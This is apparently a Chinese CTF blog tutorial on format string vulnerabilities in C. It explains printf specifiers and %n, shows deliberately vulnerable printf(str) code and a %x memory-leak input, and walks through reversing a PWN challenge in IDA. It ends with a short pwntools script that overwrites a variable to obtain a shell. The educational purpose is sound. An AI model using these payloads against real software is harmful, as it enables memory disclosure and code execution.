c代码格式化_CTF| 格式化字符串漏洞

格式化字符串漏洞是PWN题常见的考察点,仅次于栈溢出漏洞。漏洞原因:程序使用了格式化字符串作为参数,并且格式化字符串为用户可控。其中触发格式化字符串漏洞函数主要是printf、sprintf、fprintf、prin等C库中print家族的函数。

421d8a563d75ea404a67aa07b7731e10.gif 0x01 格式化字符串介绍

printf("格式化字符串",参数...)

该printf函数的第一个参数是由格式化说明符与字符串组成,用来规定参数用什么格式输出内容。

格式化说明符:

%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

例如:

#include 
int main(void){
printf("My name is %s","Ezreal");
return 0;
}

调用以后会显示:

My name is Ezreal

特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
例如:

#include 

int main(void)
{
int c = 0;
printf("the use of %n", &c);sss
printf("%d\n", c);
return 0;
}

调用以后会显示:

the use of 11
421d8a563d75ea404a67aa07b7731e10.gif 0x02 漏洞形成原因

1、函数用法:

正常的printf用法:

#include 
int main()
{
char str[100];
scanf("%s",str);
printf("%s",str);
return 0;
}

写程序时要规定字符串的格式化说明符,规定参数的输出类型。

错误的printf写法:

#include 
int main()
{
char str[100];
scanf("%s",str);
printf(str);
return 0;
}

漏洞形成原因:程序将格式化字符串的输入权交给用户,printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
所以没有参数,代码也会将format string 后面的内存当做参数以16进制输出。这样就会造成内存泄露。
示例程序:

#include 

int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

假设我们的输入为:

AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

程序的输出为:

AAAA61fe4c,61ffcc,76e4d250,70734fbf,fffffffe,76e473da,41414141,252c7825,78252c78,2c78252c,252c7825

成功打印出地址。

421d8a563d75ea404a67aa07b7731e10.gif 0x03 解题步骤

ad422dd23101b7e9cf3b9b474816085f.png

1.逆向工程:

将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。

5cd5710f905423d9c41b1df2c98b0a89.png

找到关键代码:

8da07cb98ed6039b63733b12a8889785.png

2.分析代码:

方法一:直接分析源码
主函数main使用了printf函数并使用了格式化字符串。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-8Ch]
unsigned int v5; // [esp+9Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
memset(&s, 0, 0x80u);
fgets(&s, 128, stdin);
printf(&s);
if ( secret == 192 )
give_shell();
else
printf("Sorry, secret = %d\n", secret);
return 0;
}

方法二:使用漏洞检测插件
推荐一个简单IDA插件LazyIDA,将它放在IDA路径下的plugins目录。这时可以用IDA打开题目,右击就可以看到一个Scan format string vulnerabilities查询格式化字符串漏洞。

a96d1638d48dd9132fe3154a91096fcc.png

查询到漏洞:

b9275a0dfb36bcd3cd64c6da0e9ad48d.png

总结:
找到格式化字符串漏洞后,又发现了该题目的关键代码:

if ( secret == 192 )
give_shell();
else

思路:当secret值为 192执行give_shell()函数,即利格式化字符串漏洞将secret值改为 192就能拿到shell

421d8a563d75ea404a67aa07b7731e10.gif 0x04 漏洞利用

用IDA查看secret地址为0x0804A048:

3d541c49ed884b880cbd501588879569.png

查找格式化字符串距离:

541069746315f36b582cba650783a39a.png

编写利用脚本如下:

from pwn import *
io = process('./format')
payload = fmtstr_payload(11,{0x0804A048:0xC0})
io.sendline(payload)
io.interactive()

成功拿到shell:

f899b6fb74584e625c50656018b19d5e.png 14f0bad7f13071f53ad5b9c172f2ba9f.gif

比较会装傻卖萌

比较想你关注我(* ̄∇ ̄*)

1d530e258086313961a0aa804b65eabe.png
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值